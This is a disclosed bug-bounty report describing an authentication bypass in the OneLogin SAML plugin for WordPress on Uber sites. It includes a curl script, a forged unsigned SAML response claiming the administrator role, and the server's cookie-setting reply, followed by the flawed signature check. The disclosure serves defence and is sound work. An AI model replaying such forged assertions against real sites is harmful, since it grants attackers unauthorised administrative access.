OneLogin authentication bypass on WordPress sites

Disclosed: 2016-06-06 09:54:01 By jouko To uber
Unknown
Vulnerability Details
First, I'm sorry about reporting another WordPress bug (my intention was just to check if WP-OneLogin stores any sensitive info that could be used to attack OneLogin on your other websites). #Overview# The *.uber.com WordPress sites use OneLogin SAML-SSO instead of the normal WordPress login. The WordPress plugin shipped by OneLogin has a bug which allows anyone to login without a password or other authentication. The attacker can supply a username, email adress, name, and a role. If the username doesn't already exist in the WordPress database, then the plugin will create a new user (if the provisioning setting is on, which it was on the two sites I tested). It looks like in order to gain administrator privileges the attacker has to guess some information - a role name such as "administrator", or the email address or username of an existing administrator. #PoC# I tried this on two sites. On eng.uber.com I couldn't guess a correct role name, user name, or email address to get administrator privileges and therefore was able to create only a "subscriber" level account. On newsroom.uber.com the role name apparently was simply "administrator" so I got that privilege on the system. Some other plugin settings may affect this behavior too. #Reproducing# An example shell script: ~~~~ sh #!/bin/sh xml=`base64 response.xml` curl -v 'https://newsroom.uber.com/wp-content/plugins/onelogin-saml-sso/onelogin_saml.php?acs' \ --data "RelayState=/wp-login.php" --data-urlencode "SAMLResponse=$xml" ~~~~ The required file "response.xml" containing a SAML response: ~~~~ xml <samlp:Response xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="R0bdb6f33ef84425aa2782eab4483792762f297df" Version="2.0" IssueInstant="2016-05-04T01:37:34Z" Destination="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"> <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" Version="2.0" ID="pfxb75932c2-2e44-d18d-224b-354849a292af" IssueInstant="2016-05-04T01:37:34Z"> <saml:Subject> <saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">[email protected]</saml:NameID> <saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"> <saml:SubjectConfirmationData NotOnOrAfter="2016-05-04T01:40:34Z" Recipient="" InResponseTo="ONELOGIN_bd24d63eafe235201b1bc636823c84381dbe575c"/> </saml:SubjectConfirmation> </saml:Subject> <saml:Conditions NotBefore="2016-05-04T01:34:34Z" NotOnOrAfter="2016-05-04T01:40:34Z"> <saml:AudienceRestriction> <saml:Audience>php-saml</saml:Audience> </saml:AudienceRestriction> </saml:Conditions> <saml:AuthnStatement AuthnInstant="2016-05-04T01:37:33Z" SessionNotOnOrAfter="2016-05-05T01:37:34Z" SessionIndex="_b340ffa0-f3c6-0133-3483-02a5406d9a2f"> <saml:AuthnContext> <saml:AuthnContextClassRef> urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport </saml:AuthnContextClassRef> </saml:AuthnContext> </saml:AuthnStatement> <saml:AttributeStatement> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.Username"> <saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue> </saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.LastName"> <saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Pynnonen</saml:AttributeValue> </saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.FirstName"> <saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Jouko</saml:AttributeValue> </saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="User.email"> <saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">[email protected]</saml:AttributeValue> </saml:Attribute> <saml:Attribute NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic" Name="memberOf"> <saml:AttributeValue xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">Administrator</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> </saml:Assertion> </samlp:Response> ~~~~ Running the script sends an HTTP request containing a faked SAML response to WordPress. The plugin accepts it, sets authentication cookies and redirects the user to the front page. Sample WP response: ~~~~ HTTP/1.1 302 Found Server: nginx Date: Wed, 04 May 2016 06:24:22 GMT Content-Type: text/html Content-Length: 20 Connection: keep-alive Keep-Alive: timeout=20 Set-Cookie: wordpress_sec_1215024994609a88de6286519d141a3d=trojmiasto%7C1462515862%7CYE7KrDOk28mEiwgNKVQZrbhOcj8NfNTzAhachcDGnHl%7Ceb93b7768e2ebb6625b58e4bc7c2c4e63cce7651846e1b834d649258f2b9a9cd; path=/wp-content/plugins; secure; httponly Set-Cookie: wordpress_sec_1215024994609a88de6286519d141a3d=trojmiasto%7C1462515862%7CYE7KrDOk28mEiwgNKVQZrbhOcj8NfNTzAhachcDGnHl%7Ceb93b7768e2ebb6625b58e4bc7c2c4e63cce7651846e1b834d649258f2b9a9cd; path=/; secure; httponly Set-Cookie: wordpress_logged_in_1215024994609a88de6286519d141a3d=trojmiasto%7C1462515862%7CYE7KrDOk28mEiwgNKVQZrbhOcj8NfNTzAhachcDGnHl%7Ce566c71dac745da6f17cd52c7c3c2d3f0cc6baec81b4d79d97fb153896e0acee; path=/; secure; httponly Set-Cookie: saml_login=1; expires=Thu, 04-May-2017 06:24:22 GMT; path=/ Set-Cookie: wordpress_user_sw_1215024994609a88de6286519d141a3d=+; expires=Tue, 05-May-2015 06:24:22 GMT; path=/ Set-Cookie: wordpress_user_sw_secure_1215024994609a88de6286519d141a3d=+; expires=Tue, 05-May-2015 06:24:22 GMT; path=/ Set-Cookie: wordpress_user_sw_olduser_1215024994609a88de6286519d141a3d=+; expires=Tue, 05-May-2015 06:24:22 GMT; path=/ Location: https://newsroom.uber.com ~~~~ After this you can e.g. copy the cookies to a web browser to use the website as a logged-in user. #Details# The WordPress plugin fails to adequately validate the SAML response. The bug is in the file *wp-content/plugins/onelogin-saml-sso/php/lib/Saml2/Response.php*, function *isValid()*. The cryptographical signature check is inside a code block that is executed only if the XML response contains a <ds:Signature /> tag. ~~~~ php if (!empty($signedElements)) { // verify signature } ~~~~ If the tag is left out, then the plugin accepts any "authentication OK" response without checking if it's coming from a trusted source. The above XML may have some unnecessary data. I just took a valid OneLogin response and removed the <ds:Signature /> tag, plus some others.
Actions
View on HackerOne
Report Stats
  • Report ID: 136169
  • State: Closed
  • Substate: resolved
  • Upvotes: 52
Share this report